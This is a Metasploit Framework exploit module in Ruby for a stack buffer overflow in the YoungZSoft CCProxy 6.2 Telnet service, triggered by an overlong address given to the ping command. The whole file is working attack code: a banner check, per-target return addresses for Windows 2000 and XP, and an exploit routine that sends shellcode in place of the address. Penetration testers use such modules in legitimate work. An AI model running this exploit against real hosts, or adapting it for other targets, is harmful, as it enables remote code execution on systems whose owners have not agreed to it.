88 lines
2.2 KiB
Ruby
88 lines
2.2 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/framework/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = AverageRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'CCProxy <= v6.2 Telnet Proxy Ping Overflow',
|
|
'Description' => %q{
|
|
This module exploits the YoungZSoft CCProxy <= v6.2 suite
|
|
Telnet service. The stack is overwritten when sending an overly
|
|
long address to the 'ping' command.
|
|
},
|
|
'Author' => [ 'patrick' ],
|
|
'Arch' => [ ARCH_X86 ],
|
|
'License' => MSF_LICENSE,
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2004-2416' ],
|
|
[ 'OSVDB', '11593' ],
|
|
[ 'BID', '11666 ' ],
|
|
[ 'URL', 'http://milw0rm.com/exploits/621' ],
|
|
],
|
|
'Privileged' => false,
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1012,
|
|
'BadChars' => "\x00\x07\x08\x0a\x0d\x20",
|
|
},
|
|
'Platform' => ['win'],
|
|
'Targets' =>
|
|
[
|
|
# Patrick - Tested OK 2007/08/19. W2K SP0, W2KSP4, XP SP0, XP SP2 EN.
|
|
[ 'Windows 2000 Pro All - English', { 'Ret' => 0x75023411 } ], # call esi ws2help.dll
|
|
[ 'Windows 2000 Pro All - Italian', { 'Ret' => 0x74fd2b81 } ], # call esi ws2help.dll
|
|
[ 'Windows 2000 Pro All - French', { 'Ret' => 0x74fa2b22 } ], # call esi ws2help.dll
|
|
[ 'Windows XP SP0/1 - English', { 'Ret' => 0x71aa1a97 } ], # call esi ws2help.dll
|
|
[ 'Windows XP SP2 - English', { 'Ret' => 0x71aa1b22 } ], # call esi ws2help.dll
|
|
],
|
|
'DisclosureDate' => 'Nov 11 2004'))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(23),
|
|
], self.class)
|
|
end
|
|
|
|
def check
|
|
connect
|
|
banner = sock.get_once(-1,3)
|
|
disconnect
|
|
|
|
if (banner =~ /CCProxy Telnet Service Ready/)
|
|
return Exploit::CheckCode::Appears
|
|
end
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def exploit
|
|
connect
|
|
|
|
sploit = "p " + payload.encoded + [target['Ret']].pack('V') + make_nops(7)
|
|
sock.put(sploit + "\r\n")
|
|
|
|
handler
|
|
disconnect
|
|
end
|
|
|
|
end
|